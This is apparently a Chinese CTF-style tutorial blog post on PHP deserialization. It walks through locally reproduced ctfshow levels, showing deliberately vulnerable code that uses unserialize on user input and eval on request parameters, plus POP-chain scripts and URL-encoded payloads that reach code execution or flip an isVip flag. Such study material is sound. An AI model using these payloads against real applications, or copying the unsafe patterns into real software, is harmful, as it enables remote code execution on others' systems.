PHP序列化总结3--反序列化的简单利用及案例分析
反序列化中生成对象里面的值,是由反序列化里面的值决定,与原类中预定义的值的值无关,穷反序列化的对象可以使用类中的变量和方法
案例分析
反序列化中的值可以覆盖原类中的值
我们创建一个对象,对象创建的时候触发了construct方法输出字符串,在程序结束后,执行了系统命令ipconfig
我们修改一下条件,将创建B()对象的方式使用unserialize()进行传入数据,我们可以看到construct()函数没有被执行,但是对象销毁的时候还是调用了__destruct()函数执行了系统命令
修改一下源码,将ipconfig这个操作使用一个参数进行接收传递,我们这样的话我们构造x参数的值的时候我们就可以将这个变量转化为我们想要执行的命令如图
我们可以将cmd命令转化为我们指定的命令例如ver,然后修改对应的值,我们就可以执行我们想要的命令,例如我们想要执行ver命令,我们就把ipconfig改成ver并修改参数值即可返回我们想要执行的结果
接下来用几个案例来解释php反序列化的原理
案例分析
案例1
案例源码
<?php
error_reporting(0);
highlight_file(__FILE__);
class test{function __destruct(){echo "destruct... <br>";eval($_GET['cmd']);}
}
unserialize($_GET['u']);
?>
通过代码分析我们可以知道,反序列化接收一个数据,如果我们想要执行eval函数,我们就要触发__destruct()方法,为此我们需要创建一个对象即可触发,然后再传递一个cmd参数进行命令执行即可
pop构造代码
<?php
class test{}
$c = new test();
echo serialize($c);
echo '<br>';
echo urlencode(serialize($c))
?>
构造结果:
http://127.0.0.1/ctfshow/demo1.php?u=O:4:"test":0:{}&cmd=phpinfo();
执行结果
将phpinfo();改为了system('系统命令');就可以执行系统命令
案例2
案例源码
<?php
error_reporting(0);
highlight_file(__FILE__);
class lemon{protected $ClassObj;function __construct(){$this->ClassObj=new normal();}function __destruct(){$this->ClassObj->action();}}class normal{function action(){echo "hello";}}class evil{private $data;function action(){eval($this->data);}
}unserialize($_GET['d']);
?>
通过代码我们可以看到数据是通过unserialize进行传输,为此我们就可以利用传入的参数进行控制代码的显示,我们使用我们创建一个序列化的lemon对象,将其中的construct函数中的new normal()改为new evil()为后面的命令执行做准备,然后因为eval里面传递的是data的值,我们可以将其赋值为我们想要执行的命令,就可以实现命令执行
pop构造源码
<?php
class lemon{protected $ClassObj;function __construct(){$this->ClassObj= new evil();}
}
class evil{private $data="phpinfo();";
}echo serialize(new lemon());
?>
因为我们是通过url传参,可能在传递的过程中会出现问题,为此我们进行URL编码进行url传递
O%3A5%3A%22lemon%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00classObj%22%3BN%3Bs%3A8%3A%22ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
结果展示
执行了phpinfo()的效果
本地复现了ctfshow的几个关卡来学习php反序列化
案例3
<?php
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){include('flag.php');}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
这题和序列化无关,根据要求传入username和password的值即可
127.0.0.1/ctfshow/ser1.php?username=xxxxxx&password=xxxxxx
结果展示
案例4
<?php
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;include('flag.php');}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']); if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
从代码中分析,绕过我们要获取flag需要调用vipOneKeyGetFlag(),但是这个函数里面使用了isVip这个变量,被赋值为flase,又因为传参的时候是通过反序列化接收的cookie的值,我们可以通过这个反序列化函数传入一个isVip变量为ture的值,然后获取flag
pop构造源码
<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=true;
}
$c = new ctfShowUser();
echo serialize($c);
echo '<br>';
echo urlencode(serialize($c))
?>
为了方便传输我们要进行url编码即:
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
结果展示
案例5
<?php
highlight_file(__FILE__);
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){include('flag.php');}}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']); if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
通过代码分析我们可以知道,这题的关键就是所给的username的值和password的值相等,但是触发条件有不相等,我们就需要使用反序列化函数将其中的username和password分别改为不同的值进行传参,然后触发条件即可
我们可以构造源码
<?php
class ctfShowUser{public $username='x';public $password='y';public $isVip=true;
}
$c = new ctfShowUser();
echo serialize($c);
echo '<br>';
echo urlencode(serialize($c))
?>
为了方便传输我们要进行url编码即:
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
结果展示
案例6
<?php
//eval('phpinfo();');
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_GET['user']);$user->login($username,$password);
}
环境复现有点问题,在网上找了个结果的截图
写在最后
如有错误,请及时指出,感谢
相关文章:
![](https://img-blog.csdnimg.cn/direct/d987a9e66ede40f3916d50e8c30104b2.png)
PHP序列化总结3--反序列化的简单利用及案例分析
反序列化中生成对象里面的值,是由反序列化里面的值决定,与原类中预定义的值的值无关,穷反序列化的对象可以使用类中的变量和方法 案例分析 反序列化中的值可以覆盖原类中的值 我们创建一个对象,对象创建的时候触发了construct方…...
![](https://img-blog.csdnimg.cn/direct/7564afeec2fb4e439f14e35eab1b68d8.png)
大一C语言程序细节复盘2
7-4 学生成绩排序 分数 27 全屏浏览题目 切换布局 作者 张泳 单位 浙大城市学院 假设学生的基本信息包括学号、姓名、三门课程成绩以及个人平均成绩,定义一个能够表示学生信息的结构类型。输入n(n<50)个学生的成绩信息,按照学生…...
![](https://www.ngui.cc/images/no-images.jpg)
【QT】跨平台区分32位和64位的宏
目录 0.背景 1.详细 0.背景 项目用到,原用的是 “WIN32”和“WIN64”,但是发现在64位下的时候,进了表示32位的代码,上网查找,原来是宏写错了,特此记录,适用windows和linux 1.详细 修改前: #…...
![](https://www.ngui.cc/images/no-images.jpg)
对抗AUTOMIXUP
文章目录 摘要1、简介2、相关工作3、ADAUTOMIX3.1、深度学习分类器3.2、生成器3.3 对抗增强3.3.1 对抗损失 3.4 对抗优化 4、实验4.1、分类结果4.1.1、数据集分类4.1.2、精细分类 4.2、校准4.3、鲁棒性4.4、遮挡鲁棒性4.5、迁移学习4.6、消融实验 5、结论附录AA.1 数据集信息A.…...
![](https://www.ngui.cc/images/no-images.jpg)
AMEYA360:什么是热敏电阻 热敏电阻基础知识详解
热敏电阻(thermistor)是对温度敏感的一种电子器件,其电阻值会随着温度的变化而发生改变。 热敏电阻按照温度系数不同分为正温度系数热敏电阻(PTC thermistor,即 Positive Temperature Coefficient thermistor)和负温度系数热敏电阻(NTC thermistor&#…...
![](https://www.ngui.cc/images/no-images.jpg)
RedisTemplate自增时保证原子性的lua脚本限制接口请求频率
场景:限制请求后端接口的频率,例如1秒钟只能请求次数不能超过10次,通常的写法是: 1.先去从redis里面拿到当前请求次数 2.判断当前次数是否大于或等于限制次数 3.当前请求次数小于限制次数时进行自增 这三步在请求不是很密集的时…...
![](https://www.ngui.cc/images/no-images.jpg)
《通信基站绿色低碳服务评价技术要求》团体标准顺利通过技术审查
2023年12月14日团体标准《通信基站绿色低碳服务评价技术要求》召开了技术审查视频会议。来自节能权威机构、科研院校、通信行业企业的专家以及标准编制组代表参加了本次会议。 技术审查专家组由郑州大学能动学院教授赵金辉、国家节能中心节能技术推广处处长辛升、中国标准化研…...
![](https://img-blog.csdnimg.cn/direct/14c7525528d74fe8a42287da661ecdef.png)
堆排序(C语言版)
一.堆排序 堆排序即利用堆的思想来进行排序,总共分为两个步骤: 1. 建堆 升序:建大堆 降序:建小堆 2. 利用堆删除思想来进行排序 1.1.利用上下调整法实现堆排序 第一步:建堆 好了,每次建堆都要问自己…...
![](https://img-blog.csdnimg.cn/direct/5d19116b2ce94a6f97b7edd508f906f2.png)
实现区域地图散点图效果,vue+echart地图+散点图
需求:根据后端返回的定位坐标数据实现定位渲染 1.效果图 2.准备工作,在main.js和index.js文件中添加以下内容 main.js app.use(BaiduMap, {// ak 是在百度地图开发者平台申请的密钥 详见 http://lbsyun.baidu.com/apiconsole/key */ak: sRDDfAKpCSG5iF1rvwph4Q95M…...
![](https://img-blog.csdnimg.cn/img_convert/0d6a9c513c96df38c5cf493c7aef3cfc.jpeg)
Kubernetes 学习总结(41)—— 云原生容器网络详解
背景 随着网络技术的发展,网络的虚拟化程度越来越高,特别是云原生网络,叠加了物理网络、虚机网络和容器网络,数据包在网络 OSI 七层网络模型、TCP/IP 五层网络模型的不同网络层进行封包、转发和解包。网络数据包跨主机网络、容器…...
![](https://img-blog.csdnimg.cn/direct/d75f3fe0eeef4e65a6172c7ec1208b79.png#pic_center)
多人协同开发git flow,创建初始化项目版本
文章目录 多人协同开发git flow,创建初始化项目版本1.gitee创建组织模拟多人协同开发2.git tag 打标签3.git push origin --tags 多人协同开发git flow,创建初始化项目版本 1.gitee创建组织模拟多人协同开发 组织中新建仓库 推送代码到我们组织的仓库 2…...
![](https://img-blog.csdnimg.cn/img_convert/f546d41549e8971152b326f7d231e5b0.png)
「Kafka」入门篇
「Kafka」入门篇 基础架构 Kafka 快速入门 集群规划 集群部署 官方下载地址:http://kafka.apache.org/downloads.html 解压安装包: [atguiguhadoop102 software]$ tar -zxvf kafka_2.12-3.0.0.tgz -C /opt/module/修改解压后的文件名称: [a…...
![](https://www.ngui.cc/images/no-images.jpg)
PHP8的JIT(Just-In-Time)编译器是什么?
PHP8的JIT(Just-In-Time)编译器是什么? PHP8是最新的PHP版本,引入了JIT(Just-In-Time)编译器,以进一步提高性能和执行速度。 JIT编译器是一种在运行时将解释性语言转化为机器码的技术。在过去…...
![](https://img-blog.csdnimg.cn/direct/f995e0db15834c7a863aaaba2794e542.png)
【C++对于C语言的扩充】C++与C语言的联系,命名空间、C++中的输入输出以及缺省参数
文章目录 🚀前言🚀C有何过C之处?🚀C中的关键字🚀命名空间✈️为什么要引入命名空间?✈️命名空间的定义✈️如何使用命名空间中的内容呢? 🚀C中的输入和输出✈️C标准库的命名空间✈…...
![](https://img-blog.csdnimg.cn/direct/4e7dc93af18746d491d92a7f0991ea36.png)
Excel中部分sheet页隐藏并设置访问密码
1、新建sheet1 2、新建sheet2 3、隐藏sheet2 4、保护工作簿、输密码 5、密码二次确认 6、隐藏的sheet2已经查看不了 7、想要查看时,按图示输入原密码即可 8、查看sheet2内容...
![](https://img-blog.csdnimg.cn/direct/8dcab58cd1a442b0a751f54dc2714037.png)
从零开始配置pwn环境:CTF PWN 做题环境
前期在kali2023环境安装的pwndocker使用发现不好用,so找了网上配置好pwn环境的虚拟机。 GitHub - giantbranch/pwn-env-init: CTF PWN 做题环境一键搭建脚本 可以直接下载我配置好的Ubuntu 16.04,为VMware导出的ovf格式 链接:百度网盘 请输…...
![](https://img-blog.csdnimg.cn/direct/7a260d52634f4471abb124830f46c342.png)
Vue3复习笔记
目录 挂载全局属性和方法 v-bind一次绑定多个值 v-bind用在样式中 Vue指令绑定值 Vue指令绑定属性 动态属性的约束 Dom更新时机 ”可写的“计算属性 v-if与v-for不建议同时使用 v-for遍历对象 数组变化检测 事件修饰符 v-model用在表单类标签上 v-model还可以绑定…...
![](https://img-blog.csdnimg.cn/direct/78c18ffbd44e4a03a7613163554f4ec5.png)
【OpenCV】OpenCV:计算机视觉的强大工具库
摘要 OpenCV是一个广泛应用于计算机视觉领域的开源工具库,为开发者提供了丰富的图像处理和计算机视觉算法。本文将介绍OpenCV的功能和应用领域,并探讨它在实践中的重要性和前景。 计算机视觉的强大工具库 一、什么是OpenCV?二、OpenCV的功…...
![](https://img-blog.csdnimg.cn/direct/14cbb954a0b94423b1e21cdd88bfd821.png)
spring-boot-autoconfigure误引入spring-boot-starter-data-jpa而导致数据源初始化异常
一、现状描述 某个Grade类引入了jpa的注解: import javax.persistence.Column; import javax.persistence.Embeddable;/*** 年级*/ Embeddable public class Grade {Column(name "code")private int code; }并且pom.xml中引入该jar包:sprin…...
![](https://img-blog.csdnimg.cn/direct/f149cae1ae174cfd8b46793712e2dad0.png)
工程(十六)——自己数据集跑Fast_livo
一、基础环境 Ubuntu20.04 ROS noetic PCL 1.8 Eigen 3.3.4 Sophus git clone https://github.com/strasdat/Sophus.git cd Sophus git checkout a621ff mkdir build && cd build && cmake .. make sudo make install 下面两个直接把包下载下来一起编译…...
![](https://img-blog.csdnimg.cn/direct/aab6c207f4da4513a76f0b3e16d9c174.png)
PostgreSQL数据库的json操作
1.操作符 select json字段::json->key值 from order -- 对象域 select json字段::json->>key值 from order -- 文本 select json字段::json#>{key值} from order -- 对象域 select json字段::json#>>{key值} from order -- 文本对象域表示还能继续操作&#…...
![](https://www.ngui.cc/images/no-images.jpg)
gradio-osprey-demo
创建需要的dockerfle ################### # 使用 Ubuntu 作为基础镜像 FROM nvcr.io/nvidia/cuda:11.8.0-devel-ubuntu22.04 # 更新软件包列表并安装依赖项 RUN apt update && \ apt install -y python3 python3-pip git ffmpeg libsm6 libxext6 curl wget …...
![](https://img-blog.csdnimg.cn/direct/c2b1df4d09ba45ddaa5cc5cd2688250f.png#pic_center)
从仿写持久层框架到MyBatis核心源码阅读
接上篇手写持久层框架:https://blog.csdn.net/liwenyang1992/article/details/134884703 MyBatis源码 MyBatis架构原理&主要组件 MyBatis架构设计 MyBatis架构四层作用是什么呢? API接口层:提供API,增加、删除、修改、查询…...
![](https://img-blog.csdnimg.cn/0edaf198db0444d19309d1de13f0b209.png)
浏览器常用基本操作之python3+selenium4自动化测试
1、打开指定的网页地址 我们使用selenium进行自动化测试时,打开浏览器之后,第一步就是让浏览器访问我们指定的地址,可使用get方法实现 1 2 3 from selenium import webdriver driver webdriver.Edge() driver.get(https://www.baidu.com/)…...
![](https://img-blog.csdnimg.cn/8df2e5d57129451ca0ccad9b23d3e152.jpeg)
在MySQL中使用VARCHAR字段进行日期筛选
🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🦄 博客首页——🐅🐾猫头虎的博客🎐 🐳 《面试题大全专栏》 🦕 文章图文…...
![](https://img-blog.csdnimg.cn/direct/fffe925d08a64217976b9435dcb4e7f6.png)
微信小程序自定义步骤条效果
微信小程序自定义一个步骤条组件,自定义文字在下面,已完成和未完成和当前进度都不一样的样式,可点击上一步和下一步切换流程状态,效果如下。 这是视频效果: 前端实现步骤条效果 下面我们一步步实现编码,自定…...
![](https://img-blog.csdnimg.cn/direct/3eb59e16505b40839c4f0534255a847f.jpeg#pic_center)
QT的信号与槽
QT的信号与槽 文章目录 QT的信号与槽前言一、QT 打印"hello QT"的dome二、信号和槽机制?二、信号与槽的用法1、QT5的方式1. 无参的信号与槽的dome2.带参的信号与槽dome 2、QT4的方式3、C11的语法 Lambda表达式1、函数对象参数2、操作符重载函数参数3、可修…...
![](https://img-blog.csdnimg.cn/direct/d9c1d7c203064a3a995386ff9ffec9c5.png)
Python 为UnityAndroid端自动化接入Tradplus广告SDK
Python 为UnityAndroid端自动化接入Tradplus广告SDK Tradplus介绍常规接入进入Android开发文档选择渠道配置生成接入代码人工依赖下载官网同版本的 Unity插件 使用自动化工具接入首次 你需要打两个标记来定位运行工具 控制台会列出最新的十个Tradplus版本 任选其一然后拖入项目…...
![](https://img-blog.csdnimg.cn/direct/3c194991f6a3421d94d126c5f5cca1de.png)
Matplotlib基础
目录: 一、绘制yx^2图像: 一、绘制yx^2图像: from matplotlib import pyplot as plt import numpy as np #生成(-50,50)的数组 x np.arange(-50,50) #计算因变量y的值 y x ** 2 #根据x、y数组绘制图形yx^2 plt.plot…...
![](https://www.ngui.cc/images/no-images.jpg)
上海东海职业技术学院低代码实训平台建设项目竞争性磋商公告
上海东海职业技术学院低代码实训平台建设项目竞争性磋商公告 招标|招标公告 上海市|闵行区 项目编号:0773-2340GNSHFWCS2823 招标单位:上海东海职业技术学院 代理单位:中金招标有限责任公司 预算金额:59万元 联系方式&…...
![](/images/no-images.jpg)
织梦网站tag怎么做/站长工具免费
AcWing 直方图中最大的矩形 题目: 有图。转链接题解: 单调栈。学OI二年了才去学这道经典题… …一种朴素做法就是每次以当前矩形的高为高,然后往左右两边找到第一个高度比自己小的矩形(也就是找到了左右边界)ÿ…...
![](https://img-blog.csdnimg.cn/df65e8ce226f495db33dca07113cb306.png)
镇江海绵城市建设官方网站/站长工具查询seo
主要是编写shell代码部分问题: 注:for i相当于for i in $* (取全部位置参数)下文存在不在赘述 4.对教材例题4.9 (P108)进行编辑,然后执行。 #!/bin/bash echo $0 $1 $2 $3 $4 $5 $6 $7 $8 $9 shift echo $0 $1 $2 $3 $4 $5 $6 $7 $8 $9 shift 4 echo …...
![](https://img-blog.csdnimg.cn/20210302224654287.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM1NDE1ODc1,size_16,color_FFFFFF,t_70)
网站怎么做背景不变页面滑动/全网搜索软件
先验概率是根据统计或者经验得到的(大的前提,积累性,过去式,基本不变性) 后验概率是根据当前的条件和先验概率得出的概率,与当前的情况密切相关(现在进行时,情况繁多,&am…...
![](/images/no-images.jpg)
注册个免费网站/百度指数数据下载
select name from master..sysdatabases where name not in (master,model,msdb,tempdb,northwind,pubs)...
![](/images/no-images.jpg)
临潼区做网站的公司/seo查询源码
本文研究全球与中国市场脱盐乳清粉成分的发展现状及未来发展趋势,分别从生产和消费的角度分析脱盐乳清粉成分的主要生产地区、主要消费地区以及主要的生产商。重点分析全球与中国市场的主要厂商产品特点、产品规格、不同规格产品的价格、产量、产值及全球和中国市场…...
![](/images/no-images.jpg)
vi设计的基本要素/培训机构seo
扩展ACL可以通过源地址、目标地址、协议、端口以及筛选动作等进行访问控制,相较于标准ACL,在网络层和传输层可以进行更全面的控制。对于其它访问控制,大家可以参考下面的语句的进行,也可添加几条语句(log/syn/log-input等)&#x…...